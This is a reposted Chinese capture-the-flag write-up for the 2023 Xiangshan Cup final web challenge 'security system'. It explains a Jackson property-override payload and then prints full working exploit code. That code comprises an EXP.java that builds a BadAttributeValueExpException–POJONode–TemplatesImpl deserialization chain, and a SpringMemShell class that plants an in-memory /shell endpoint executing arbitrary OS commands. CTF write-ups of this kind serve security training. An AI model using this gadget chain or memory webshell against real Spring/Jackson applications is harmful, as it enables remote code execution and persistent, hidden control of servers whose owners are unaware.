小工具知识网

当前位置: 首页 > 行业知识 > 【Web】2023香山杯决赛 security system 题解

行业知识

【Web】2023香山杯决赛 security system 题解

2026-11-09 07:20:43 来源:互联网转载

目录

step -1

step 0

step 1 

step 2

step 3


step -1

①题目hint:想办法修改属性值后进入java的原生反序列化,然后利用jackson链写入内存马

②jackson反序列化基础:

ObjectMapper objectMapper = new ObjectMapper();

String jsonString = "{\"@type\":\"com.example.Person\",\"name\":\"John\",\"age\":30}";

Person person = objectMapper.readValue(jsonString, Person.class);

在这个示例中,Jackson会根据@type字段的值com.example.Person来确定应该创建一个Person对象,并将JSON中的其他属性值映射到该对象的属性上。

需要注意的是,在使用@type字段时,需要确保对应的Java类路径在类加载器的搜索路径上,并且Jackson的ObjectMapper能够访问到这些类。

③jackson性质:

如果在Jackson反序列化过程中,指定的目标类为 LinkedHashMap,而 JSON 字符串中包含了 @type 字段,那么 Jackson 会将 @type 字段作为 LinkedHashMap 的一个普通属性来处理,而不会将其视为 autotype。

假设有以下 JSON 数据:

{  "@type": "com.example.Dog",  "name": "Buddy",  "breed": "Golden Retriever"}

 @type 字段将被作为普通属性存储在 LinkedHashMap 中,而不会触发对应用于 Dog 类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap 实例,其中包含了 @type 字段及其它属性。

step 0

pom依赖只有spring可以利用

反序列化入口有两处,第一处是jackson反序列化,第二处是无过滤的原生反序列化

step 1 

重点关注几个方法

①SecurityCheck.isSafe()

默认返回true,因为是static,所以可改属性值

②SecurityCheck.ismap() 返回一个HashSet

 

HashSet的无参构造方法就是实例化一个HashMap并存进map属性中

 

 add的值,即HashMap的key就是HashSet的iterator所取的内容,而PRESENT作用是占位

 

 

 

③SecurityCheck.deObject

这段代码主要用于在反序列化过程中,根据@type字段的值动态确定要创建的对象类型,并将LinkedHashMap中的属性值赋给对应的对象属性。

这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类

step 2

链子很简单

参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

BadAttributeValueExpException -> POJONode -> TemplatesImpl

但首先要在第一个反序列化入口打入属性覆盖,从而为进入第二个反序列化入口创造条件

注意因为指定了class与LinkedHashMap相关,这里的第一个@type是作为属性来处理

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

指定的class要继承LinkedHashMap,可以用org.springframework.core.annotation.AnnotationAttributes

 

最终payload:

classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}

step 3

生成序列化字符串

EXP.java

package com.example.jackson;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;public class EXP {    public static void main(String[] args) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");        ctClass0.removeMethod(writeReplace);        ctClass0.toClass();        byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();        byte[][] codes = {code};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_name", "useless");        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());        setFieldValue(templates, "_bytecodes", codes);        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));        BadAttributeValueExpException val = new BadAttributeValueExpException(null);        setFieldValue(val, "val", node);        byte[] poc = ser(val);        System.out.println(Base64.getEncoder().encodeToString(poc));    }    public static byte[] ser(Object obj) throws IOException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);        objectOutputStream.writeObject(obj);        objectOutputStream.close();        return baos.toByteArray();    }    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {        AdvisedSupport advisedSupport = new AdvisedSupport();        advisedSupport.setTarget(templates);        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);        constructor.setAccessible(true);        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);        return proxy;    }    public static void setFieldValue(Object obj, String field, Object val) throws Exception{        Field dField = obj.getClass().getDeclaredField(field);        dField.setAccessible(true);        dField.set(obj, val);    }}

SpringMemShell

package com.example.jackson;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Scanner;public class SpringMemShell extends AbstractTranslet{    static {        try {            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");            configField.setAccessible(true);            RequestMappingInfo.BuilderConfiguration config =                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();            RequestMappingInfo info = RequestMappingInfo.paths("/shell")                    .options(config)                    .build();            SpringMemShell springControllerMemShell = new SpringMemShell();            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);        } catch (Exception hi) {//            hi.printStackTrace();        }    }    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {        if (request.getParameter("cmd") != null) {            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner(in).useDelimiter("\A");            String output = s.hasNext() ? s.next() : "";            response.getWriter().write(output);            response.getWriter().flush();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

 

 ​​​​​第一次打入来覆盖SecurityCheck

第二次打入来原生反序列化注入内存马 

 

成功写入,命令执行拿flag 

上一篇:【JavaEE进阶】 Linux搭建Java部署环境

下一篇:网站域名怎么选择?